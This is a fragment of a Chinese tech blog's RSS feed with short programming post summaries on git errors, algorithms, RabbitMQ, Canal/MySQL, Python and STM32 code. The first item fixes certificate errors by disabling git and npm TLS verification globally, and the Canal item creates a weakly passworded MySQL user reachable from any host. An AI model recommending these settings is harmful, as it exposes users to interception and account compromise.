      <pubDate>Wed, 02 Dec 2020 11:16:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/40ea7fff492490a42d5ab40bda4b32e2/</guid>
      <description>问题描述 unable to access ‘https://*****.git/’: SSL certificate problem: unable to get local issuer certificate&#xA;原因以及如何解决 这是由于当你通过HTTPS访问Git远程仓库的时候，如果服务器上的SSL证书未经过第三方机构认证，git就会报错。原因是因为未知的没有签署过的证书意味着可能存在很大的风险。解决办法就是通过下面的命令将git中的sslverify关掉：&#xA;git config --system http.sslverify false 上面这行命令的影响范围是系统当前用户，如果要设置为全局所有用户，可以改成这样：&#xA;git config --global http.sslverify false 如果只是想针对当前仓库进行设置，可以在需要修改的仓库目录下执行：&#xA;git config http.sslverify false 如果你的仓库中存在嵌套的git子模块（就是子模块中又引用了子模块），在进行初始化时，仍然有可能遇到self signed certificate in certificate chain的错误，此时可以通过执行下面的命令来解决：&#xA;npm config set strict-ssl false 对于npm而言，除了可以在package.json的scripts属性中自定义脚本外，npm-scripts也内置了一些脚本，用来在特定的时机执行某些特定的任务，具体可以参照 npm的官方文档&#xA;系列文章 Git专栏 Git使用（一）：安装与配置&#xA;Git使用（二）：创建项目并提交到远程仓库&#xA;Git使用（三）：分支管理，创建分支、合并分支、合并分支的某一次提交等&#xA;Git使用（四）：提交管理，修改提交信息、合并多次提交、版本回退、撤销本地文件修改等&#xA;Git使用（五）：解决冲突以及如何避免冲突&#xA;SmartGit 安装及使用（一）：安装及配置&#xA;SmartGit 安装及使用（二）：工作界面介绍、提交代码以及防止代码冲突等操作&#xA;SmartGit 安装及使用（三）：修改提交记录、合并多次提交、撤销本地文件修改、版本回退等操作&#xA;SmartGit 安装及使用（四）：创建、合并分支、合并某一次提交以及解决冲突等操作&#xA;SmartGit 安装及使用（附录）：注册非商业许可证&#xA;【Git】如何生成SSH key&#xA;【Git】.gitignore文件语法以及修改后无效的解决办法&#xA;【Git】Authentication failed for 错误解决</description>
    </item>
    <item>
      <title>最小生成树、并查集算法题解</title>
      <link>https://bchobby.github.io/posts/3811668153755656ad9c684293154efd/</link>
      <pubDate>Wed, 02 Dec 2020 11:02:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3811668153755656ad9c684293154efd/</guid>
      <description>A. 最小生成树(要求用kruskal算法写) Description 在一张图上有N个点，点与点之间的连接的花费都已经告诉你了，请你设计一下，如果解决这个“最小生成树”的问题。&#xA;Input 首先输入一个数字N（0〈=N〈=100）&#xA;​ 然后输入一个N*N的矩阵 其中第i行第j列的数字k表示从点i到点j需要的花费。&#xA;Output 一个数字，最少需要多少花费才能使得整张图任意两点都直接或者间接连通（也就是最小生成树的权）&#xA;Sample Input 5 0 41 67 34 0 41 0 69 24 78 67 69 0 58 62 34 24 58 0 64 0 78 62 64 0 0 2 0 1 1 0 Sample Output 116 0 1 Answer #include&amp;lt;iostream&amp;gt; #include&amp;lt;algorithm&amp;gt; using namespace std; #define MAX 101 struct TEdge { int nFrom; int nTo; int nCost; }; void vInit(int nArr[],int nN); int nInput(TEdge tArr[],int nN); void vSort(TEdge tArr[],int nE); bool bCmp(const TEdge &amp;amp;tA,const TEdge &amp;amp;tB); int nKruskal(TEdge tArr[],int nArr[],int nN); void vOut(int nOut); void vMergeOwn(int nArr[],int nF,int nT,int nN); int main() { int nNodes; int nEdges; TEdge tEdges[MAX*(MAX-1)/2+1]; int nOwner[MAX]; int nAns; while(cin &amp;gt;&amp;gt; nNodes) { vInit(nOwner,nNodes); nEdges=nInput(tEdges,nNodes); vSort(tEdges,nEdges); nAns=nKruskal(tEdges,nOwner,nNodes); vOut(nAns); } return 0; } void vInit(int nArr[],int nN) { int i; for(i=1; i&amp;lt;=nN; i++) { nArr[i]=i; } } int nInput(TEdge tArr[],int nN) { int nRet; int i,j; int nTemp; nRet=0; for(i=1; i&amp;lt;=nN; i++) { for(j=1; j&amp;lt;=nN; j++) { cin &amp;gt;&amp;gt; nTemp; if(i&amp;lt;j) { nRet++; tArr[nRet].</description>
    </item>
    <item>
      <title>cpufreq学习笔记</title>
      <link>https://bchobby.github.io/posts/0442a00c7f7d6816d3744847e56ac9de/</link>
      <pubDate>Wed, 02 Dec 2020 10:22:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0442a00c7f7d6816d3744847e56ac9de/</guid>
      <description>20.11.26 cpufreq driver数据结构 //路径linux5.4/include/linux/cpufreq.h struct cpufreq_driver { char&#x9;name[CPUFREQ_NAME_LEN]; u8&#x9;flags; void&#x9;*driver_data; /* needed by all drivers */ int&#x9;(*init)(struct cpufreq_policy *policy); int&#x9;(*verify)(struct cpufreq_policy *policy); /* define one out of two */ int&#x9;(*setpolicy)(struct cpufreq_policy *policy); /* * On failure, should always restore frequency to policy-&amp;gt;restore_freq * (i.e. old freq). */ int&#x9;(*target)(struct cpufreq_policy *policy, unsigned int target_freq, unsigned int relation);&#x9;/* Deprecated */ int&#x9;(*target_index)(struct cpufreq_policy *policy, unsigned int index); unsigned int&#x9;(*fast_switch)(struct cpufreq_policy *policy, unsigned int target_freq); unsigned int&#x9;(*resolve_freq)(struct cpufreq_policy *policy, unsigned int target_freq); unsigned int&#x9;(*get_intermediate)(struct cpufreq_policy *policy, unsigned int index); int&#x9;(*target_intermediate)(struct cpufreq_policy *policy, unsigned int index); /* should be defined, if possible */ unsigned int&#x9;(*get)(unsigned int cpu); /* Called to update policy limits on firmware notifications.</description>
    </item>
    <item>
      <title>rabbitmq vhost</title>
      <link>https://bchobby.github.io/posts/243d0c04cdaded2c043054ee865151ab/</link>
      <pubDate>Tue, 01 Dec 2020 21:59:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/243d0c04cdaded2c043054ee865151ab/</guid>
      <description> rabbitmq vhost 每一个rabbitmq服务器都能创建虚拟的消息服务器，我们称之为虚拟主机(virtual host)。简称vhost&#xA;特性：&#xA;每一个vhost本质上是一个小型的独立的rabbitmq服务器，拥有自己独立的完整的一套队列、绑定关系、交换器等。同一个服务器上的多个vhost是完全隔离的。队列及交换器等不互通。 创建vhost 1.通过前台创建 2.通过命令行创建 rabbitmqctl add_vhost {vhost} {vhost}为新的vhost的名字。&#xA;实现效果如下：&#xA;删除vhost 删除vhost的同时，也会删除其下所有的队列、交换器、绑定关系、用户权限、参数和策略信息等。&#xA;1.前台删除 注意：需要点击进入对应vhost中&#xA;2.命令行删除 rabbitmqctl delete_vhost {vhost_name} </description>
    </item>
    <item>
      <title>Canal的原理及其使用</title>
      <link>https://bchobby.github.io/posts/8f9bedddf0b65f7d1f2496fe88821d25/</link>
      <pubDate>Tue, 01 Dec 2020 18:19:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8f9bedddf0b65f7d1f2496fe88821d25/</guid>
      <description>1.Cannal的工作原理&#xA;①cannal模拟MySQL slave的交互协议,伪装自己为MySQL slave,向MySQL master发送dump协议&#xA;②MySQL mater收到dump请求,开始推送binary log给slave(即canal)&#xA;③canal解析binary log对象&#xA;2、Canal搭建环境&#xA;1、准备好MySQL运行环境；&#xA;2、开启 MySQL的binlog写入功能，配置 binlog-format 为 ROW 模式，my.cnf中配置如下:&#xA;[mysqld]&#xA;log-bin=mysql-bin #开启 binlog&#xA;binlog-format=ROW #选择 ROW 模式&#xA;server_id=1 #配置MySQL replaction需要定义，不要和canal的 slaveId重复&#xA;3、授权canal连接MySQL账号具有作为MySQL slave的权限, 如果已有账户可直接 grant授权：&#xA;启动MySQL服务器；&#xA;登录mysql：./mysql -uroot -p -h127.0.0.1 -P3306&#xA;CREATE USER canal IDENTIFIED BY ‘canal’;&#xA;GRANT SELECT, REPLICATION SLAVE, REPLICATION CLIENT ON . TO ‘canal’@’%’;&#xA;FLUSH PRIVILEGES;&#xA;4、下载 canal部署程序&#xA;Wget https://github.com/alibaba/canal/releases/download/canal-1.1.4/canal.deployer-1.1.4.tar.gz&#xA;tar -zxvf canal.deployer-1.1.4.tar.gz -C /usr/local/canal.deployer-1.1.4&#xA;5、配置修改&#xA;vim conf/example/instance.</description>
    </item>
    <item>
      <title>honey select2人物捏脸_捏脸那么火，捏脸游戏系统哪家强？这几款就超级优秀</title>
      <link>https://bchobby.github.io/posts/967cb1c5aba6d04b85dcce1d10ac2896/</link>
      <pubDate>Tue, 01 Dec 2020 18:03:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/967cb1c5aba6d04b85dcce1d10ac2896/</guid>
      <description>前几天《天涯明月刀》手游资料放出来，让很多期待已久的玩家欣喜了好一会儿(比如我)。&#xA;其中捏脸玩法再次进入玩家的眼帘，再看去年大火的《楚留香》，一度被玩家称之为脸玩年。&#xA;玩家自己动手，就能捏出专属于自己的游戏人物。&#xA;光头强？？&#xA;期间也爆出很多长得奇形怪状的捏脸，虽然吓坏了在下，不过说真的，美的千篇一律，丑的反而百里挑一。&#xA;那么捏脸这种玩法，究竟哪款游戏的系统做得最好呢？下面推荐几款玩家们力荐的捏脸游戏，看看大家都玩过哪些呢？&#xA;不是，放错图了~~&#xA;一、《模拟人生》 这个游戏从2000年发行，至今已经推出到第四款。&#xA;可以建房子、布置家居，或者指引模拟市民的生活起居，吃喝拉撒，外出聚会，上班交友等等。&#xA;是款深受玩家喜欢的游戏，免费版和移动版在taptap网站上都是8分以上的评分。&#xA;而这款游戏的捏脸系统其实做得蛮精细的，人物面部、身体等细节，真实度还是挺好的，还有化妆的3D睫毛什么的，都挺给力。&#xA;不过也有玩家觉得，这游戏的捏脸太卡通了，甚至有点幼稚，那么大家觉得呢？&#xA;二、《骑马与砍杀》 这款经典就不过多介绍了，08年发行，至今已经11年了。&#xA;自由度和开源程度都很高、玩家可以制作出自己喜欢的人物形象和剧情。&#xA;捏脸系统很完善，与老滚五(上古卷轴5)的风格挺相似的，不过的确有很多人欣赏不来这种美，比如在下，哈哈~~&#xA;三、《黑色沙漠》 13年10月份开始测试，目前台服已经上线。&#xA;它的捏脸系统还是挺被玩家喜欢的，而且看很多玩家晒出的脸，那捏的叫一个美。&#xA;当然还有创建人物可以捏自定义动作，不过却没法在游戏里随便使用，但很多玩家还是沉迷捏脸捏动作的玩法中无法自拔(好羞涩呀)。&#xA;个人还蛮喜欢这种画风和风格的：&#xA;四、《上古卷轴》 原本打算让它和骑砍一起一带而过的，但发现推荐它的实在太多，不说怕被喷呢~~&#xA;玩家们晒出的作品逼格也很高呢，至少不是清一色的网红锥子脸，小鲜肉什么的&#xA;很多人说它原本的脸真的没法看，但还好它是能修改的，在玩家的加工后会好看很多，不过怎么捏都还是有原本脸的影子，改动不算大，自由度还是差“模拟”一些。&#xA;五、《EVA》 港真，被玩家们秀出的图片给震撼到了：&#xA;来自玩家分享，侵删&#xA;很多电影明星捏得还是挺像的，画质和皮肤看起来也很好。&#xA;可能是这玩家技术高超吧，哈哈~~&#xA;其实类似的捏脸游戏，还有《剑灵》、《剑网三》、《SB4》(男玩家的福利)、《完美世界》等等，都挺优秀的，各有各的特色，可能很大程度上还是看玩家的审美和操作了。&#xA;那么大家玩过的游戏中，哪款游戏的捏脸系统最优秀呢？欢迎分享哦~~&#xA;注：文章部分信息与图片来源于网络，侵删！</description>
    </item>
    <item>
      <title>简单使用antd vue Anchor锚点</title>
      <link>https://bchobby.github.io/posts/a5bfa6cc17828ef9e4cce3ce7a2dffd5/</link>
      <pubDate>Tue, 01 Dec 2020 16:33:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a5bfa6cc17828ef9e4cce3ce7a2dffd5/</guid>
      <description> antd的anchor组件在点击锚点后会修改URL，而单页应用中如果使用哈希模式的路由，当URL被修改后，刷新页面会导致当前路由没有定义而出现404的情况。&#xA;&amp;lt;template&amp;gt; &amp;lt;header id=&#34;top&#34;&amp;gt; &amp;lt;/header&amp;gt; &amp;lt;article id=&#34;cont&#34;&amp;gt; &amp;lt;/article&amp;gt; &amp;lt;a-anchor :affix=&#34;false&#34; @click=&#34;handleAnchorClick&#34;&amp;gt; &amp;lt;a-anchor-link href=&#34;top&#34; title=&#34;测试题信息&#34; /&amp;gt; &amp;lt;a-anchor-link href=&#34;cont&#34; title=&#34;测试题内容&#34; /&amp;gt; &amp;lt;/a-anchor&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; export default { methods: { handleAnchorClick(e,link){ // 阻止点击的默认事件修改路由 e.preventDefault(); var srcolls = document.getElementById(link.href); srcolls.scrollIntoView({block: &#39;start&#39;, behavior: &#39;smooth&#39;}); }, } } &amp;lt;/script&amp;gt; </description>
    </item>
    <item>
      <title>iconfont图标_C# Winform使用iconfont等字体图标</title>
      <link>https://bchobby.github.io/posts/a991497a38c3c1faf64b451def0eac20/</link>
      <pubDate>Tue, 01 Dec 2020 09:50:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a991497a38c3c1faf64b451def0eac20/</guid>
      <description>目前fontawesome，iconfont等字体图标很流行，字体图标为我们提供了丰富的内容，统一的风格，使用也方便，尤其在网页和移动开发中，是必不可少的工具。&#xA;C#中，WPF可以很好的使用这类字体图标，只需要定义一个资源，就可以直接使用，设计时也可以使用，那么在Winform需要怎么使用呢？如何在设计时也可以直接使用呢？&#xA;准备好需要的字体文件，打包进资源文件或直接使用文件都可以。使用PrivateFontCollection的AddFontFile或AddMemoryFont加载字体。加载后，我们可以通过PrivateFontCollection的Families获得字体FontFamily，这样就可以在运行时指定字体并使用了。 但这样还是不支持在设计时使用，因为设计时字体列表中没有我们加载的字体，我们需要自定义一个控件，从Control继承或从Label或其它控件继承都可以，重写控件的OnPaint，使用字体时指定使用我们加载的字体就可以了。&#xA;为了更加方便的使用，我们可以设计一个图标选择框，设计时可以从图标中选择。&#xA;设计时选择图标&#xA;https://github.com/wuqinchao/JwControls/blob/master/Jw.Winform.Ctrls/Iconfont/JwIconfontManager.cs&#xA;https://github.com/wuqinchao/JwControls/blob/master/Jw.Winform.Ctrls/JwIcons/JwIcon.cs</description>
    </item>
    <item>
      <title>VSCode调试debug变量variables窗口空白不显示</title>
      <link>https://bchobby.github.io/posts/4ee6bea15c91fefd9afd9505483102ba/</link>
      <pubDate>Mon, 30 Nov 2020 20:30:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4ee6bea15c91fefd9afd9505483102ba/</guid>
      <description> debug呢，突然发现左边变量窗口怎么不显示变量了，&#xA;可能是用的时间太长了，变量窗口右上角有三个点（views and more actions）&#xA;将里面 Variables 前的对号点掉，再点上就可以 </description>
    </item>
    <item>
      <title>python定时器5秒执行一次_Python threading.timer-每隔“n”秒重复一次函数</title>
      <link>https://bchobby.github.io/posts/c79cda9c15ae801b1ab237125e7b5430/</link>
      <pubDate>Mon, 30 Nov 2020 13:41:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c79cda9c15ae801b1ab237125e7b5430/</guid>
      <description>import threading&#xA;def setInterval(interval):&#xA;def decorator(function):&#xA;def wrapper(*args, **kwargs):&#xA;stopped = threading.Event()&#xA;def loop(): # executed in another thread&#xA;while not stopped.wait(interval): # until stopped&#xA;function(*args, **kwargs)&#xA;t = threading.Thread(target=loop)&#xA;t.daemon = True # stop if the program exits&#xA;t.start()&#xA;return stopped&#xA;return wrapper&#xA;return decorator&#xA;用法：@setInterval(.5)&#xA;def function():&#xA;&#34;...&#34;&#xA;stop = function() # start timer, the first call is in .5 seconds&#xA;stop.set() # stop the loop&#xA;stop = function() # start new timer</description>
    </item>
    <item>
      <title>python循环写入csv文件_在python中的for循环中向csv文件写入行</title>
      <link>https://bchobby.github.io/posts/af2421dce16ddecd5081e4a9d0440a7c/</link>
      <pubDate>Mon, 30 Nov 2020 10:07:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/af2421dce16ddecd5081e4a9d0440a7c/</guid>
      <description>我有一个大的csv文件，其中大约有5000行。&#xA;第一列包含每行的标识名称，即LHGZZ01前9行的名称为LHGZZ01，下10行为其他名称，依此类推。&#xA;我没有这样的图案np.唯一查找名称更改的索引。在&#xA;我想写一个循环，将源csv的每一行写入一个循环中只包含相同名称的新csv文件。在datafile = open(&#39;source.csv&#39;,&#39;rb&#39;)&#xA;reader = csv.reader(datafile)&#xA;data = []&#xA;idx = []&#xA;dataidx = []&#xA;next(reader, None)#skip headers&#xA;for row in reader:&#xA;d = row[0]&#xA;idx.append(d)&#xA;data.append(row)&#xA;dataidx.append(row[0])&#xA;index =np.sort(np.unique(idx,return_index=True)[1])&#xA;nme = []#list of unique names&#xA;for row in index:&#xA;nm = data[row][0]&#xA;nme.append(nm)&#xA;for i in np.arange(0,9):&#xA;with open(str(out_dir)+str(nme[0])+&#39;.csv&#39;,&#39;w&#39;) as f1:&#xA;row = data[i]&#xA;writer=csv.writer(f1, delimiter=&#39;,&#39;)#lineterminator=&#39;\n&#39;,&#xA;writer.writerow(row)&#xA;上面的代码写入新csv的第一行并停止。在&#xA;我的问题是如何循环源.csv文件在每次新名称更改后拆分数据，然后将具有相同行名的行写入唯一的csv？在&#xA;很抱歉这个冗长的问题，但不幸的是，这个问题超出了我的python技能，它让我抓狂。在&#xA;非常感谢您的帮助或建议&#xA;csv示例：&#xA;^{pr2}$</description>
    </item>
    <item>
      <title>STM32——库函数版——RGB8x8全彩点阵程序</title>
      <link>https://bchobby.github.io/posts/ad6bfcd53a6bbd4c6be5cece7b89f365/</link>
      <pubDate>Sun, 29 Nov 2020 20:00:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ad6bfcd53a6bbd4c6be5cece7b89f365/</guid>
      <description>RGB全彩点阵模块程序 先显示一下效果 程序实现亮红，蓝，绿，紫，白，青，黄，七种颜色的爱心&#xA;一下是展示四种颜色&#xA;RGB全彩点阵模块原理图如下： RGB8x8点阵显示原理 每一个灯都相当于一个独立的点，通过行列进行控制灯的位置，从而让灯进行亮色，通过595移位寄存器进行控制要亮的灯（74HC595是串入并出带有锁存功能移位寄存器.）。&#xA;根据手册可知：&#xA;1.数据在 SCK 的上升沿输入，在 RCK 的上升沿&#xA;进入的存储寄存器中去。&#xA;2.SER是一个串行移位输入寄存器。&#xA;3.存储寄存器有一个并行 8 位的，具备三态的总线输出，&#xA;当使能时 G（为低电平），存储寄存器的数据输出到总线。&#xA;通俗的说就是：&#xA;1.在SRCK引脚出现上升沿时，从SER引脚输入一位数据，重复八次。（因为是8x8点阵所以要传输8位数据）&#xA;2.在RCK引脚出现上升沿时，将之前输入的8为数据分别从Q0-Q7引脚输出&#xA;3.要注意区分那个RCK引脚是控制行的，那个是控制列的&#xA;我的模块是RCK_A是控制行的，RCK_R,RCK_G,RCK_B是控制列的分别亮红，绿，蓝等颜色&#xA;SRCK是控制数据的存储的&#xA;SER是控制移位的&#xA;本模块使用SM74HC595D芯片进行驱动&#xA;有需要SM74HC595D使用手册的可留言邮箱发你们&#xA;接下来就是程序了&#xA;完整程序如下：&#xA;RGB全彩点阵引脚配置程序&#xA;led.c&#xA;#include &#34;led.h&#34; /*2020.11.17 * RGB全彩点阵模块 */ //RGB点阵引脚初始化 void LED_Init(void) { GPIO_InitTypeDef GPIO_InitStructure; RCC_APB2PeriphClockCmd(RCC_APB2Periph_GPIOA ,ENABLE);&#x9;//使能PA端口时钟 GPIO_InitStructure.GPIO_Pin = RCK_A_PIN|RCK_R_PIN|RCK_G_PIN|RCK_B_PIN|SRCK_Pin|SER_Pin;&#x9;//引脚配置 GPIO_InitStructure.GPIO_Mode = GPIO_Mode_Out_PP; //推挽输出 GPIO_InitStructure.GPIO_Speed = GPIO_Speed_50MHz;&#x9;//IO口速度为50MHz GPIO_Init(GPIOA, &amp;amp;GPIO_InitStructure);&#x9;//根据设定参数初始化端口 GPIO_ResetBits(GPIOA, RCK_A_PIN|RCK_R_PIN|RCK_G_PIN|RCK_B_PIN|SRCK_Pin|SER_Pin); //置0 } led.h&#xA;#include &#34;</description>
    </item>
    <item>
      <title>2020 团体程序设计天梯赛 题解&#43;总结反思【未更新完】</title>
      <link>https://bchobby.github.io/posts/07456252dfd6a82ebca608164d0a1267/</link>
      <pubDate>Sun, 29 Nov 2020 17:02:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/07456252dfd6a82ebca608164d0a1267/</guid>
      <description>L1-1 嫑废话上代码 (5分) 题意 直接输出&#xA;题解 #include &amp;lt;iostream&amp;gt; using namespace std; int main(){ printf(&#34;Talk is cheap. Show me the code.\n&#34;); } L1-2 猫是液体 (5分) 题意 给你长宽高计算长方体体积&#xA;题解 #include &amp;lt;iostream&amp;gt; using namespace std; int main(){ int h, l, w; cin &amp;gt;&amp;gt; l &amp;gt;&amp;gt; w &amp;gt;&amp;gt; h; cout &amp;lt;&amp;lt; l * w * h &amp;lt;&amp;lt; &#39;\n&#39;; } L1-3 洛希极限 (10分) 题意 大背景下的简单计算，考察阅读题目的能力&#xA;题解 注意看题目要求的输出内容&#xA;#include &amp;lt;iostream&amp;gt; #include &amp;lt;vector&amp;gt; #include &amp;lt;set&amp;gt; #include &amp;lt;algorithm&amp;gt; #include &amp;lt;cmath&amp;gt; #include &amp;lt;string&amp;gt; #include &amp;lt;string.</description>
    </item>
    <item>
      <title>python pytest_Python项目的pytest初始化</title>
      <link>https://bchobby.github.io/posts/2aac3e82e82082bd161476c9ca9030d2/</link>
      <pubDate>Sun, 29 Nov 2020 15:42:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2aac3e82e82082bd161476c9ca9030d2/</guid>
      <description>Python项目的pytest初始化&#xA;2018-01-19 00:08:25 +08&#xA;字数：2310&#xA;标签：&#xA;Python&#xA;Test&#xA;为什么要写测试 ¶&#xA;Python是一种必须要写测试的语言。&#xA;和C/C++、Java这种需要编译的语言相比，Python这种动态语言天生就有开发迅速的优势。&#xA;开发完成后的代码，跑一跑自然知道问题。&#xA;然而，如果项目稍大，就难以保证手动测试的可靠性。&#xA;因此，江湖传言，Python不适合做大型项目。&#xA;当然，江湖上的大多数人是不写测试的。&#xA;与Java之类相比，没有100%测试覆盖的Python代码，甚至都不能保证没有语法错误。&#xA;而静态语言在预编译时，就会做完整的语法检查，可靠性的差距可见一斑。&#xA;然而，正是因为这种差距，Python项目有更迫切的测试需求。&#xA;达成100%测试覆盖率的Python项目，可靠性却又比没有写测试的Java项目要强上许多。&#xA;为什么是pytest ¶&#xA;打开PyCharm，可以看到默认支持的单元测试框架有五类：&#xA;unittest是Python标准库之一。&#xA;与Java里著名的JUnit4非常类似，通过继承一个TestCase，然后增加test_*命名的method来测试。&#xA;（JUnit5中已经抛弃了这种做法，改为使用注解@Test的形式。）&#xA;它的问题就是，有些过于繁琐。&#xA;doctest是一种非常奇特的测试技术，在文档中写测试。&#xA;把代码和测试写在一起，这是Java这类语言中没有办法做到的。&#xA;虽然它也是Python标准库之一，但孤却第一时间放弃了。&#xA;对简单的数学函数，它是很便捷的；但对于复杂的、有副作用（side effect）的function或method来说，它功能不足。&#xA;而且，测试代码往往比功能代码更复杂些，不合适写在pydoc里。&#xA;Twisted是一个异步网络框架，而Trial则是其单元测试系统，是对unittest的一个封装。&#xA;如果不是使用Twisted框架，那么不会使用到它。&#xA;nose是一个曾经非常流行的测试，兼容unittest的同时却拥有更加简洁的语法，然而已经停止维护了。&#xA;nose本身支持Python 3，然而其很多插件却不支持。&#xA;新的项目，不推荐使用它，正如它的文档所说。&#xA;非常可惜，孤差点就选它了。&#xA;Nose has been in maintenance mode for the past several years and will likely cease without a new person/team to take over maintainership.&#xA;New projects should consider using Nose2, py.</description>
    </item>
    <item>
      <title>python多分支实现四则运算器_python 四则运算计算器</title>
      <link>https://bchobby.github.io/posts/a2f0620cb736f2aaef6d23d14136659d/</link>
      <pubDate>Sun, 29 Nov 2020 14:48:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a2f0620cb736f2aaef6d23d14136659d/</guid>
      <description>刚开始只是为了实现某个功能，中间需要对表达式进行计算，想着写个四则运算计算器也很简单就顺手写了， 写到后面发现需要考虑的问题还挺多的，囧。&#xA;现在把代码贴出来记录一下这辛苦的过程吧，毕竟写得挺长的= =&#xA;不做解释了，单纯为了记录，毕竟写的也挺菜的，也就能基本实现功能2333&#xA;def calculate(in_formula: str) -&amp;gt; int:&#xA;&#34;&#34;&#34;&#xA;对字符串类型的数学表达式进行计算，返回计算结果&#xA;数学表达式可包含加减乘除、括号&#xA;:param in_formula: 数学表达式 如&#39;2*(-5+3)/-1+20/(3+1)+2+(-9-2)*2&#39;&#xA;:return: 计算结果&#xA;&#34;&#34;&#34;&#xA;if &#39;(&#39; in in_formula:&#xA;result_in_brackets = []&#xA;reg_formula_in_brackets = re.compile(r&#39;\([^(]+\)&#39;)&#xA;formula_in_brackets = reg_formula_in_brackets.findall(in_formula)&#xA;else_formula = reg_formula_in_brackets.split(in_formula)&#xA;for i in formula_in_brackets:&#xA;result_in_brackets.append(simple_arithmetic(re.sub(r&#34;[()]&#34;, &#39;&#39;, i)))&#xA;for i in range(0, int(len(else_formula)) + 1, 2):&#xA;else_formula.insert(i + 1, str(result_in_brackets[int(i / 2)]))&#xA;result = simple_arithmetic(&#39;&#39;.join(else_formula))&#xA;else:&#xA;result = simple_arithmetic(&#39;&#39;.join(in_formula))&#xA;return result&#xA;def simple_arithmetic(in_formula: str) -&amp;gt; int:</description>
    </item>
    <item>
      <title>python中int变量定义x y_Python-变量与基础数据类型</title>
      <link>https://bchobby.github.io/posts/8c1f8de608cd25c26bb0cc256e4769cb/</link>
      <pubDate>Sun, 29 Nov 2020 12:55:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8c1f8de608cd25c26bb0cc256e4769cb/</guid>
      <description>·变量（variable）&#xA;笔记：&#xA;变量本质上是一个占位符。变量可以用来存储整数、字符串、列表等。简单的可以理解为一个座位，可以坐老人也可以坐小孩，可以坐男孩，也可以坐女孩。&#xA;在python里，标识符(identifier)由字母、数字、下划线组成。&#xA;在python中，所有标识符可以包括英文、数字以及下划线（_），但不能以数字开头。python中的标识符是区分大小写的。&#xA;以下划线开头的标识符是有特殊意义的。以单下划线开头（_foo）的代表不能直接访问的类属性，需通过类提供的接口进行访问，不能用“from xxx import *”而导入；以双下划线开头的（__foo）代表类的私有成员；以双下划线开头和结尾的（__foo__）代表python里特殊方法专用的标识，如__init__（）代表类的构造函数。&#xA;@ 变量的命名规则:&#xA;变量名只能包含字母、数字、下划线：&#xA;如：my_car,fly_air&#xA;变量不能包含空格、不能以数字打头：&#xA;如：bas ic,6car,7fly&#xA;变量不能是Python关键字、函数名：&#xA;如：def,class,print等&#xA;python中包含的全部保留字：&#xA;import keyword #导入模块&#xA;print(keyword.kwlist)&#xA;打印结果：&#xA;[&#39;False&#39;, &#39;None&#39;, &#39;True&#39;, &#39;and&#39;, &#39;as&#39;, &#39;assert&#39;, &#39;async&#39;, &#39;await&#39;, &#39;break&#39;,&#xA;&#39;class&#39;, &#39;continue&#39;, &#39;def&#39;, &#39;del&#39;, &#39;elif&#39;, &#39;else&#39;, &#39;except&#39;, &#39;finally&#39;, &#39;for&#39;,&#xA;&#39;from&#39;, &#39;global&#39;, &#39;if&#39;, &#39;import&#39;, &#39;in&#39;, &#39;is&#39;, &#39;lambda&#39;, &#39;nonlocal&#39;, &#39;not&#39;,&#xA;&#39;or&#39;, &#39;pass&#39;, &#39;raise&#39;, &#39;return&#39;, &#39;try&#39;, &#39;while&#39;, &#39;with&#39;, &#39;yield&#39;]&#xA;@ 命名规则拓展&#xA;大驼峰：每个单词第一个字母均大写:&#xA;如：MyCar,StudyBasic,FlyAir #适用于类命名&#xA;小驼峰：第一个单词大写：&#xA;如：Mycar,Studybasic、,lyair #适用于函数命名&#xA;posix命名法：单词全部小写，且所有单词之间以下划线连接：&#xA;如：my_car,fly_air</description>
    </item>
    <item>
      <title>python游戏代码运行不了_PYTHON游戏编程----敲入ENTER键后游戏开始(加入按键游戏不动,去掉游戏运行)...</title>
      <link>https://bchobby.github.io/posts/8ba68c347f5c758a72e5829ee3d3d578/</link>
      <pubDate>Sun, 29 Nov 2020 10:43:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8ba68c347f5c758a72e5829ee3d3d578/</guid>
      <description>from tkinter import *&#xA;import time&#xA;import random&#xA;class Ball:&#xA;def __init__(self, canvas, paddle, color):&#xA;self.canvas = canvas&#xA;self.paddle = paddle&#xA;self.id= canvas.create_oval(10, 10, 25, 25, fill=color)&#xA;canvas.move(self.id, 245, 100)&#xA;randirect = [-3, -2, -1, 1, 2, 3]&#xA;random.shuffle(randirect)&#xA;self.x = randirect[0]&#xA;self.y = -1&#xA;self.window_height = self.canvas.winfo_height()&#xA;self.window_width = self.canvas.winfo_width()&#xA;self.hit_bottom = False&#xA;def hit_paddle(self, pos):&#xA;paddle_pos = self.canvas.coords(self.paddle.id)&#xA;if paddle_pos[0] &amp;lt;= pos[2] and pos[0] &amp;lt;= paddle_pos[2]:&#xA;if paddle_pos[1] &amp;lt;= pos[3] and pos[3] &amp;lt;= paddle_pos[1]:</description>
    </item>
    <item>
      <title>d3 svg path添加文本_dagre-d3绘制流程图实用指南</title>
      <link>https://bchobby.github.io/posts/ea9695a044e856ca4094d9e7179af21a/</link>
      <pubDate>Sun, 29 Nov 2020 09:59:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ea9695a044e856ca4094d9e7179af21a/</guid>
